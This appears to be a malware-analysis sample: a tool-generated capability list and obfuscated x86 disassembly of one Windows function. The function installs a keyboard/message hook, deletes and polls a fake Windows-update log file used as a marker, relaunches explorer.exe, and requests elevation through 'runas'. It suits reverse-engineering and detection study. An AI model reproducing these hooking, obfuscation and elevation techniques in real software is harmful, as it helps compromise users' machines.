Function at 0x412240
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1074
call fcn.004309b0
mov eax, dword [0x45e540]
xor eax, ebp
mov dword [esp + 0x1070], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x18], eax
mov eax, 0x315a5211
imul dword [0x45cbd4]
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
sub eax, ebx
imul edx, edx, 0x3575d9d
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x680c7cd1
imul dword [0x45cbd4]
mov eax, dword [esp + 0x10]
sar edx, 0x19
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, ecx
imul eax, eax, 0x4e899b9
add ebx, eax
mov eax, 0x83740ec5
imul ecx
mov esi, dword [0x45cbe8]
mov edi, esi
add edx, ecx
imul edi, edi, 0x5335ef4
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp + 8]
add ebx, edi
cmp eax, 0x132db2c
mov dword [esp + 0x1c], 0
mov dword [str._r_____r____], ebx
je 0x4123b1
mov ecx, dword [0x45cbd8]
mov eax, 0x315a5211
imul dword [0x45cbdc]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
mov esi, ecx
imul edx, edx, 0x3575d9d
imul esi, esi, 0x52fe876
sub esi, eax
add esi, edx
mov edx, dword [0x45cbd0]
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x206151bf
imul ecx
mov eax, dword [0x45cbe4]
sar edx, 0x15
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
sub ecx, eax
lea edx, [ecx + edi - 0xfcfe96]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45cbd0], edx
mov esi, 0x64
mov edi, edi
push 0x3e8
call edi
dec esi
jne 0x412390
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0043016d
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45cbd0]
lea edi, [eax + ecx]
mov eax, 0x315a5211
imul edi, edi, 0x3e51956
imul dword [0x45cbe4]
sar edx, 0x18
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0x10], eax
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov eax, dword [0x45cbe0]
imul eax, eax, 0x222559d
add edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x680c7cd1
imul dword [0x45cbe4]
mov eax, dword [esp + 0x10]
sar edx, 0x19
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0xfcfe96
add edi, eax
mov eax, dword [section.dfsaewr4]
test eax, eax
mov dword [0x45cbdc], edi
je 0x4124c0
mov ecx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [0x45cbe0]
imul eax, eax, 0x14e459e
sub edi, esi
add edi, eax
mov eax, 0x342745e1
imul ecx
sar edx, 0x18
add edi, edx
mov esi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xfcfe96
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45cbc8], eax
jmp 0x413402
mov edx, dword [0x45cbd8]
add ebx, edx
mov eax, 0x680c7cd1
imul ebx, ebx, 0x3575d9d
imul edi
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x4ebb783
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, edi
imul edx, edx, 0x4e899b9
add eax, edx
mov ebx, eax
mov eax, 0x74b32761
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
sub ebx, eax
lea eax, [ebx + edx - 0xfcfe96]
mov ebx, dword [0x45cbd0]
mov dword [0x45cbd4], eax
jmp 0x412530
mov edx, dword [0x45cbd4]
imul edx, edx, 0x5335ef4
lea eax, [ebx + esi]
imul eax, eax, 0x456b154
sub eax, edx
mov edx, dword [0x45cbd8]
imul edx, edx, 0x222559d
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x3b012ec7
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x83740ec5
imul esi
mov eax, dword [esp + 0x10]
add edx, esi
sar edx, 0x19
add eax, edx
mov ebx, edx
mov edx, edi
imul edx, edx, 0xfcfe96
shr ebx, 0x1f
add ebx, eax
mov eax, dword [ebp + 0x10]
sub ebx, edx
test eax, eax
mov dword [0x45cbe0], ebx
jg 0x4126fc
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4126fc
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
jmp 0x4125c0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4125c0
sub eax, dword [esp + 0x10]
mov dword [esp + 0x14], eax
je 0x4126fc
mov edi, dword [0x45cbd4]
imul esi, esi, 0x5335ef4
imul ebx, ebx, 0x4e899b9
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov dword [esp + 0x10], eax
mov eax, 0x680c7cd1
imul edi
mov eax, dword [esp + 0x10]
sar edx, 0x19
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x74b32761
imul ecx
mov eax, dword [0x45cbe4]
imul eax, eax, 0xfcfe96
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add esi, ebx
add esi, edx
mov edx, dword [esp + 0x18]
add ecx, esi
add ecx, eax
sub ecx, dword [str._r_____r____]
push edx
add ecx, 0x456b154
push 0
mov dword [0x45cbcc], ecx
call fcn.0040f1f0
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x413257
mov eax, dword [0x45cbc8]
mov ecx, dword [0x45cbd4]
lea esi, [eax + ecx]
mov ecx, dword [0x45cbe4]
imul esi, esi, 0x23193db
mov eax, 0x315a5211
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83740ec5
imul esi
add edi, ecx
add edx, esi
mov esi, dword [0x45cbe8]
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45cbcc]
mov dword [0x45cbe4], edi
mov edi, dword [0x45cbdc]
jmp 0x41277a
mov edx, dword [0x45cbd8]
mov esi, dword [0x45cbd0]
lea ebx, [edx + esi]
imul esi, esi, 0x4ebb783
mov eax, 0x3bfa58a9
imul ebx, ebx, 0x4e899b9
imul dword [str._r_____r____]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x680c7cd1
imul dword [0x45cbc8]
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, esi
mov ebx, eax
mov eax, 0x74b32761
imul dword [0x45cbc8]
mov eax, dword [0x45cbe4]
sar edx, 0x18
imul eax, eax, 0xfcfe96
mov esi, edx
add ebx, edx
mov edx, dword [ebp + 0x10]
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov dword [0x45cbe8], esi
mov dword [esp + 0x10], edx
mov eax, 0x315a5211
imul esi, esi, 0x5335ef4
imul edi, edi, 0x3575d9d
imul dword [0x45cbd4]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, edi
add eax, esi
mov ebx, eax
mov eax, 0x680c7cd1
imul dword [0x45cbd4]
sar edx, 0x19
mov esi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x4e899b9
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x14e459e
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x342745e1
imul ecx
mov eax, dword [0x45cbc8]
imul eax, eax, 0xfcfe96
sar edx, 0x18
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
mov ecx, edx
add esi, edx
mov edx, dword [esp + 0x10]
shr ecx, 0x1f
add ecx, esi
mov dword [0x45cbc8], ecx
mov eax, dword [0x5706ec]
mov ecx, dword [ebp + 0xc]
push edx
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x4132ed
mov ebx, dword [0x45cbd8]
mov eax, ebx
imul eax, eax, 0x52fe876
mov ecx, eax
mov edi, dword [0x45cbc8]
mov esi, dword [0x45cbe8]
mov eax, 0x315a5211
imul dword [0x45cbdc]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x3575d9d
add ecx, edx
mov eax, esi
imul eax, eax, 0x5335ef4
add ecx, eax
mov dword [esp + 0x14], ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x3b012ec7
imul ecx
mov eax, dword [esp + 0x14]
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov dword [esp + 0x14], eax
mov eax, 0x206151bf
imul ebx
mov eax, dword [esp + 0x14]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add eax, edx
mov edx, dword [0x45cbe4]
add ecx, eax
sub ecx, edx
sub ecx, 0xfcfe96
mov dword [0x5706f0], 1
mov dword [esp + 0x10], 0
jmp 0x412960
mov esi, dword [0x45cbe8]
mov ecx, dword [0x45cbd0]
mov ebx, dword [0x45cbd8]
mov edi, dword [0x45cbc8]
mov edi, edi
mov eax, 0x315a5211
imul ebx, ebx, 0x52fe876
imul edi, edi, 0x3575d9d
imul dword [0x45cbdc]
imul esi, esi, 0x5335ef4
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3b012ec7
imul ecx
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x206151bf
imul dword [0x45cbd8]
add ebx, edi
mov edi, dword [0x45cbe4]
sar edx, 0x15
add ebx, esi
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, edi
sub eax, 0xfcfe96
push str.c:WINDoWSKB5445243.log
mov dword [0x45cbd0], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x4129f5
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jl 0x412946
mov esi, dword [0x45cbe8]
mov edi, dword [0x45cbd4]
mov ecx, dword [0x45cbc8]
mov eax, 0xc4e5d61
imul ecx, ecx, 0x4ebb783
imul esi
sar edx, 0x16
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x680c7cd1
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, ecx
sub ebx, eax
mov eax, 0x342745e1
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45cbe0]
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x23193db
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, esi
imul edx, edx, 0xfcfe96
sub eax, edx
mov dword [0x45cbd8], eax
cmp dword [esp + 0x10], 0x12c
jl 0x413386
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x413386
mov esi, dword [0x45cbcc]
imul ecx, ecx, 0x222559d
mov eax, dword [0x45cbd0]
mov edi, dword [0x45cbe4]
lea ebx, [eax + esi]
mov eax, 0x315a5211
imul ebx, ebx, 0x3e51956
imul edi
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x993c2c11
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x680c7cd1
imul edi
add ebx, ecx
sar edx, 0x19
mov ecx, edx
add ebx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, ebx
push 0x800
lea eax, [esp + 0x7c]
add ecx, edx
push eax
mov dword [0x45cbdc], ecx
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cbe8]
mov edx, dword [0x45cbd0]
mov eax, dword [0x45cbd4]
lea esi, [edx + ecx]
imul eax, eax, 0x5335ef4
mov edx, dword [0x45cbd8]
imul esi, esi, 0x456b154
imul edx, edx, 0x222559d
sub esi, eax
add esi, edx
mov edx, dword [0x45cbcc]
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
add esi, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
lea eax, [esp + 0x78]
push eax
mov dword [0x45cbe0], ecx
lea ecx, [esp + 0x87c]
push str._sexplorer.exe
push ecx
call fcn.00430341
lea edx, [esp + 0x884]
push 0
push edx
call fcn.004306dd
add esp, 0x14
cmp eax, 0xffffffff
je 0x413158
mov eax, dword [0x45cbd4]
mov ecx, dword [0x45cbc8]
lea esi, [ecx + eax]
mov ecx, dword [0x45cbe4]
imul esi, esi, 0x23193db
mov eax, 0x315a5211
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83740ec5
imul esi
add edi, ecx
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push str.explorer.exe
mov dword [0x45cbe4], edi
call fcn.00406500
mov ecx, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x4ebb783
mov edx, dword [str._r_____r____]
imul edi, edi, 0x4e899b9
mov esi, dword [0x45cbc8]
mov eax, 0x3bfa58a9
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
add edi, edx
mov ebx, edx
mov eax, 0x74b32761
imul esi
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
sar edx, 0x18
add ebx, edx
mov ecx, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, ebx
add esp, 4
sub ecx, edx
mov dword [0x45cbe8], ecx
mov dword [esp + 0x10], 5
jmp 0x412ce0
mov ecx, dword [0x45cbe8]
jmp 0x412ce0
mov edi, dword [0x45cbd4]
imul ecx, ecx, 0x5335ef4
mov esi, dword [0x45cbcc]
mov eax, 0x315a5211
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x3575d9d
sub eax, ebx
add eax, edx
add eax, ecx
mov ebx, eax
mov eax, 0x680c7cd1
imul edi
sar edx, 0x19
mov ecx, edx
add ebx, edx
mov edx, esi
imul edx, edx, 0x4e899b9
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x83740ec5
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push str.explorer.exe
mov dword [str._r_____r____], ecx
call fcn.00405ee0
add esp, 4
test eax, eax
jg 0x4130c3
mov ebx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ebx
add edx, ebx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
mov edi, eax
imul edx, edx, 0x14e459e
sub edi, esi
add edi, edx
mov eax, 0x342745e1
imul ecx
sar edx, 0x18
add edi, edx
mov eax, edx
mov edx, dword [0x45cbc8]
shr eax, 0x1f
imul edx, edx, 0xfcfe96
add eax, edi
add eax, edx
mov edi, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
add edi, edx
xor eax, eax
mov esi, edx
shr esi, 0x1f
add esi, edi
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov edi, dword [0x45cbd4]
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x14], eax
mov eax, 0x680c7cd1
imul edi
mov eax, dword [esp + 0x14]
sar edx, 0x19
add eax, edx
mov edi, edx
mov edx, dword [0x45cbcc]
shr edi, 0x1f
add edi, eax
mov eax, dword [0x45cbe0]
imul eax, eax, 0x4e899b9
mov ecx, dword [0x45cbe8]
add edi, eax
imul ecx, ecx, 0x5335ef4
mov eax, 0x74b32761
imul edx
sar edx, 0x18
add edi, edx
mov eax, edx
mov edx, ebx
imul edx, edx, 0xfcfe96
shr eax, 0x1f
add eax, edi
mov edi, dword [str._r_____r____]
add eax, edx
mov dword [0x45cbc8], esi
mov dword [esp + 0x20], 0x44
sub eax, ecx
mov edx, dword [0x45cbdc]
imul esi, esi, 0x3575d9d
sub eax, edi
mov edi, dword [0x45cbd8]
add eax, 0x456b154
imul edi, edi, 0x52fe876
mov dword [0x45cbcc], eax
mov eax, 0x315a5211
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b012ec7
imul dword [0x45cbd0]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, 0x206151bf
imul dword [0x45cbd8]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ebx
lea ecx, [eax + ecx - 0xfcfe96]
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [0x45cbd0], ecx
lea ecx, [esp + 0x80]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x898]
push edx
push 0
mov dword [esp + 0x74], 1
mov word [esp + 0x78], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x412fa7
mov edi, dword [0x45cbdc]
mov ecx, dword [str._r_____r____]
mov esi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul edi
lea ebx, [esi + ecx]
imul ebx, ebx, 0x3575d9d
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
mov edx, ecx
imul edx, edx, 0x4ebb783
add eax, ebx
add eax, edx
mov edx, edi
imul edx, edx, 0x4e899b9
add eax, edx
mov ebx, eax
mov eax, 0x74b32761
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
sub ebx, eax
lea eax, [ebx + edx - 0xfcfe96]
mov dword [0x45cbd4], eax
jmp 0x4130cf
mov ecx, dword [0x45cbe8]
mov eax, 0xc4e5d61
imul ecx
sar edx, 0x16
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x4ebb783
add edi, edx
mov edx, dword [0x45cbd4]
mov eax, 0x680c7cd1
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x45cbe0]
mov eax, 0x342745e1
imul ecx
imul ecx, ecx, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x74b32761
imul esi
imul esi, esi, 0x23193db
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 1
add eax, esi
sub eax, ecx
lea ecx, [esp + 0x7c]
push ecx
push 0
lea edx, [esp + 0x884]
push edx
push str.runas
push 0
mov dword [0x45cbd8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x4131de
mov ecx, dword [0x45cbcc]
mov eax, dword [0x45cbd0]
mov esi, dword [0x45cbe4]
lea edi, [eax + ecx]
mov eax, 0x315a5211
imul edi, edi, 0x3e51956
imul esi
sar edx, 0x18
add edi, edx
mov ebx, edx
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x222559d
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x45cbdc]
add ebx, edx
imul ecx, ecx, 0xfcfe96
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov dword [0x45cbdc], eax
mov esi, dword [0x45cbd8]
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45cbc8]
mov edx, dword [0x45cbd4]
lea edi, [eax + edx]
mov eax, 0x315a5211
imul edi, edi, 0x23193db
imul dword [0x45cbe4]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
mov ebx, edx
add edi, edx
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
mov eax, 0x83740ec5
imul esi
add ebx, ecx
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
push 0x3e8
mov dword [0x45cbe4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x412cd0
mov ebx, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
mov ecx, dword [0x45cbc8]
lea esi, [edx + ebx]
mov eax, 0x3bfa58a9
imul esi, esi, 0x4e899b9
imul dword [str._r_____r____]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
add esi, edx
mov edi, edx
mov edx, ebx
imul edx, edx, 0x4ebb783
shr edi, 0x1f
add edi, esi
sub edi, edx
mov eax, 0x74b32761
imul ecx
mov eax, dword [0x45cbe4]
mov ecx, dword [0x45cbcc]
imul eax, eax, 0xfcfe96
sar edx, 0x18
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45cbdc]
sub esi, eax
mov dword [0x45cbe8], esi
jmp 0x412530
mov ecx, dword [0x45cbe8]
mov edx, dword [0x45cbd0]
mov eax, dword [0x45cbd4]
mov esi, dword [0x45cbd8]
imul eax, eax, 0x5335ef4
lea edi, [edx + ecx]
imul edi, edi, 0x456b154
mov edx, esi
imul edx, edx, 0x222559d
sub edi, eax
add edi, edx
mov edx, dword [0x45cbcc]
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
add edi, edx
mov ecx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
mov dword [0x45cbe0], ecx
jmp 0x4130c9
mov ecx, dword [0x45cbe8]
mov eax, 0xc4e5d61
imul ecx
sar edx, 0x16
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x4ebb783
add edi, edx
mov edx, dword [0x45cbd4]
mov eax, 0x680c7cd1
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x45cbe0]
mov eax, 0x342745e1
imul ecx
imul ecx, ecx, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x74b32761
imul esi
imul esi, esi, 0x23193db
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, esi
sub eax, ecx
mov dword [0x45cbd8], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0043016d
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cbd4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
mov esi, eax
sub esi, edx
mov eax, 0x680c7cd1
imul ecx
mov eax, dword [0x45cbe0]
mov ecx, dword [0x45cbcc]
imul eax, eax, 0x4e899b9
sar edx, 0x19
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, eax
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
add edi, edx
mov ecx, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, edi
add ecx, edx
sub ecx, dword [str._r_____r____]
add ecx, 0x456b154
mov dword [0x45cbcc], ecx
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0043016d
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cbcc]
imul esi, esi, 0x5335ef4
mov eax, 0x315a5211
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x3575d9d
sub eax, ebx
add eax, edx
add eax, esi
mov ebx, eax
mov eax, 0x680c7cd1
imul edi
mov eax, ecx
imul eax, eax, 0x4e899b9
sar edx, 0x19
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [str._r_____r____], esi
mov ecx, dword [esp + 0x107c]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0043016d
mov esp, ebp
pop ebp
ret